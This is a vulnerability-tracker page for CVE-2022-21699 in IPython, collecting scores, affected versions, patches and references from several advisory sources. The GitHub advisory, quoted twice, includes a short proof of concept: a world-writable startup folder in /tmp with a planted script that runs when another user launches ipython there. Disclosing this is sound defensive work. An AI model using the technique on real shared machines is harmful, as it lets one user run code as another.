CVE-2022-21699
Execution with Unnecessary Privileges in ipython
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.2
Execution with Unnecessary Privileges in ipython
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
CVE-2022-21699- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-250, CWE-279
- Updated
- 2026-11-02
EUVDEUVD-2022-0126
8.2
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
EUVD-2022-0126- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pq7m-3gw7-gq5x
8.5
Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
User2:
cd /tmp
ipython
User2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
- Record
GHSA-pq7m-3gw7-gq5x- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-250, CWE-269, CWE-279
- Updated
- 2026-11-02
NVD
8.2
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
CVE-2022-21699- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - CVSS 2.0
- 4.6 Medium
AV:L/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-250, CWE-279, CWE-269
- Updated
- 2026-11-02
OSVALPINE-CVE-2022-21699
8.8
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
ALPINE-CVE-2022-21699- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-03
OSVAZL-109526
8.8
CVE-2022-21699 affecting package python-py 1.11.0-1
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
AZL-109526- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Show 11 moreShow less
OSV
8.2
Execution with Unnecessary Privileges in ipython
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
CVE-2022-21699- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-250, CWE-279
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2022-21699
8.8
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
DEBIAN-CVE-2022-21699- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-03
OSVGHSA-pq7m-3gw7-gq5x
8.5
Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
User2:
cd /tmp
ipython
User2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
- Record
GHSA-pq7m-3gw7-gq5x- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-250, CWE-269, CWE-279
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2022-21699
8.2
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
UBUNTU-CVE-2022-21699- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVMGASA-2023-0058 No score
Updated ipython packages fix security vulnerability
Executed config files from the current working directory, which could result in cross-user attacks if run from a directory multiple users may write to. (CVE-2022-21699)
- Record
MGASA-2023-0058- Updated
- 2026-11-02
OSVopenSUSE-SU-2022:10043-1 No score
Security update for python-ipython
This update for python-ipython fixes the following issues:
- CVE-2022-21699: Confining executed process to have limited privileges. (boo#1194936).
- Record
openSUSE-SU-2022:10043-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:11763-1 No score
python310-ipython-8.0.1-1.1 on GA media
These are all security issues fixed in the python310-ipython-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:11763-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:11995-1 No score
spyder-5.3.0-1.1 on GA media
These are all security issues fixed in the spyder-5.3.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:11995-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14718-1 No score
python311-ipython-8.31.0-1.1 on GA media
These are all security issues fixed in the python311-ipython-8.31.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14718-1- Updated
- 2026-11-02
OSVPYSEC-2022-12 No score
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
- Record
PYSEC-2022-12- Updated
- 2026-11-02
OSVUSN-5953-1 No score
ipython vulnerabilities
It was discovered that IPython incorrectly processed REST API POST requests. An attacker could possibly use this issue to launch a cross-site request forgery (CSRF) attack and leak user's sensitive information. This issue only affected Ubuntu 14.04 ESM. (CVE-2015-5607)
It was discovered that IPython did not properly manage cross user temporary files. A local attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM. (CVE-2022-21699)
- Record
USN-5953-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ipythonPyPI |
before 5.11 | 5.11 |
ipythonPyPI |
6.0.0 up to 7.16.3 | 7.16.3 |
ipythonPyPI |
7.17.0 up to 7.31.1 | 7.31.1 |
ipythonPyPI |
8.0.0 up to 8.0.1 | 8.0.1 |
ipythonAlpine:v3.16 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.17 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.18 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.19 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.20 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.21 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
Show 27 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ipythonAlpine:v3.22 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.23 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
ipythonAlpine:v3.24 |
6.0.0 up to 7.31.1-r0 | 7.31.1-r0 |
python-pyAzure Linux:3 |
through 1.11.0-1 | None known |
ipythonDebian:12 |
before 7.31.1-1 | 7.31.1-1 |
ipythonDebian:13 |
before 7.31.1-1 | 7.31.1-1 |
ipythonDebian:14 |
before 7.31.1-1 | 7.31.1-1 |
ipythonDebian:9 |
before 5.1.0-3+deb9u1, plus listed versions 5.1.0-3 |
5.1.0-3+deb9u1 |
ipythonDebian:10 |
before 5.8.0-1+deb10u1, plus listed versions 5.8.0-1 |
5.8.0-1+deb10u1 |
ipythonDebian:11 |
before 7.20.0-1+deb11u1, plus listed versions 7.20.0-1 |
7.20.0-1+deb11u1 |
ipythonPyPI |
before 5.11, plus listed versions 0.100.10.10.10.20.110.12 Show 45 moreShow less0.12.10.130.13.10.13.20.6.100.6.110.6.120.6.130.6.140.6.150.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.1.fix10.7.20.7.30.7.4.svn.r20100.8.00.8.10.8.20.8.30.8.40.90.9.11.0.01.1.01.2.01.2.12.0.02.1.02.2.02.3.02.3.12.4.02.4.13.0.03.1.03.2.03.2.13.2.2 |
5.11 |
ipythonPyPI |
6.0.0 up to 7.16.3, plus listed versions 6.1.06.2.06.2.16.3.06.3.1 Show 29 moreShow less6.4.06.5.07.0.07.0.0b17.0.0rc17.0.17.1.07.1.17.10.07.10.17.10.27.11.07.11.17.12.07.13.07.14.07.15.07.16.07.16.17.16.27.2.07.3.07.4.07.5.07.6.07.6.17.7.07.8.07.9.0 |
7.16.3 |
ipythonPyPI |
7.17.0 up to 7.31.1, plus listed versions 7.18.07.18.17.19.07.20.07.21.0 Show 13 moreShow less7.22.07.23.07.23.17.24.07.24.17.25.07.26.07.27.07.28.07.29.07.30.07.30.17.31.0 |
7.31.1 |
ipythonMageia:8 |
before 7.31.1-1.mga8 | 7.31.1-1.mga8 |
ipythonPyPI |
before 6.0.0rc1, 6.0.0 up to 7.16.3, 7.17.0 up to 7.31.1, 8.0.0 up to 8.0.1, plus listed versions 0.100.10.10.10.20.110.12 Show 45 moreShow less0.12.10.130.13.10.13.20.6.100.6.110.6.120.6.130.6.140.6.150.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.1.fix10.7.20.7.30.7.4.svn.r20100.8.00.8.10.8.20.8.30.8.40.90.9.11.0.01.1.01.2.01.2.12.0.02.1.02.2.02.3.02.3.12.4.02.4.13.0.03.1.03.2.03.2.13.2.2 |
6.0.0rc17.16.37.31.18.0.1 |
ipythonUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.13.2-21.1.0-11.2.0~rc1-11.2.1-21.2.1-2ubuntu0.1~esm1 |
None known |
ipythonUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 2.3.0-2ubuntu12.3.0-2ubuntu22.4.1-12.4.1-1ubuntu0.1~esm2 |
None known |
ipythonUbuntu:Pro:18.04:LTS |
before 5.5.0-1ubuntu0.1~esm1, plus listed versions 5.1.0-35.5.0-1 |
5.5.0-1ubuntu0.1~esm1 |
ipythonUbuntu:Pro:20.04:LTS |
before 7.13.0-1ubuntu0.1~esm1, plus listed versions 5.8.0-15.8.0-1build15.8.0-27.12.0-17.13.0-1 |
7.13.0-1ubuntu0.1~esm1 |
ipythonUbuntu:Pro:14.04:LTS From an advisory covering 2 CVEs |
before 1.2.1-2ubuntu0.1~esm1, plus listed versions 0.13.2-21.1.0-11.2.0~rc1-11.2.1-2 |
1.2.1-2ubuntu0.1~esm1 |
ipythonUbuntu:Pro:18.04:LTS From an advisory covering 2 CVEs |
before 5.5.0-1ubuntu0.1~esm1, plus listed versions 5.1.0-35.5.0-1 |
5.5.0-1ubuntu0.1~esm1 |
ipythonUbuntu:Pro:20.04:LTS From an advisory covering 2 CVEs |
before 7.13.0-1ubuntu0.1~esm1, plus listed versions 5.8.0-15.8.0-1build15.8.0-27.12.0-17.13.0-1 |
7.13.0-1ubuntu0.1~esm1 |
python-ipythonSUSE:Package Hub 15 SP3 |
before 7.13.0-bp153.2.6.1 | 7.13.0-bp153.2.6.1 |
python-ipython-testSUSE:Package Hub 15 SP3 |
before 7.13.0-bp153.2.6.6 | 7.13.0-bp153.2.6.6 |
python-ipythonopenSUSE:Leap 15.3 |
before 7.13.0-bp153.2.6.1 | 7.13.0-bp153.2.6.1 |
python-ipython-testopenSUSE:Leap 15.3 |
before 7.13.0-bp153.2.6.6 | 7.13.0-bp153.2.6.6 |
python-ipythonopenSUSE:Tumbleweed |
before 8.31.0-1.1 | 8.31.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | OSV | |
| affected, aliases, references | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2022-21699 is a high vulnerability (CVSS 8.2) in Ipython, published January 19, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.65%, the 51st percentile. Fixed in ipython 5.11.
References
github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668
ipython.readthedocs.io/en/stable/whatsnew/version8.html
lists.debian.org/debian-lts-announce/2022/01/msg00021.html
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
Show 26 moreShow less
nvd.nist.gov/vuln/detail/CVE-2022-21699
github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml
lists.fedoraproject.org/archives/list/[email protected]/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
lists.fedoraproject.org/archives/list/[email protected]/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b
github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d
github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea
github.com/advisories/GHSA-pq7m-3gw7-gq5x
security.alpinelinux.org/vuln/CVE-2022-21699
github.com/CVEProject/cvelistV5/tree/main/cves/2022/21xxx/CVE-2022-21699.json
security-tracker.debian.org/tracker/CVE-2022-21699
github.com/ipython/ipython
advisories.mageia.org/MGASA-2023-0058.html
bugs.mageia.org/show_bug.cgi?id=29969
debian.org/lts/security/2022/dla-2896
debian.org/security/2022/dsa-5065
lists.fedoraproject.org/archives/list/[email protected]/thread/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
lists.fedoraproject.org/archives/list/[email protected]/thread/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
lists.opensuse.org/archives/list/[email protected]/thread/NTGOGG2ZEI7KLN4MVBRDQQ4FSIXPEKNL
ubuntu.com/security/CVE-2022-21699
ubuntu.com/security/notices/USN-5953-1
cve.org/CVERecord?id=CVE-2022-21699
ubuntu.com/security/CVE-2015-5607
bugzilla.suse.com/1194936
suse.com/security/cve/CVE-2022-21699
lists.opensuse.org/archives/list/[email protected]/thread/BHCUXPCE3NKBI2FCTMGFXG7NPJDZEKNM
Left out here: 118 versions. The JSON record has them.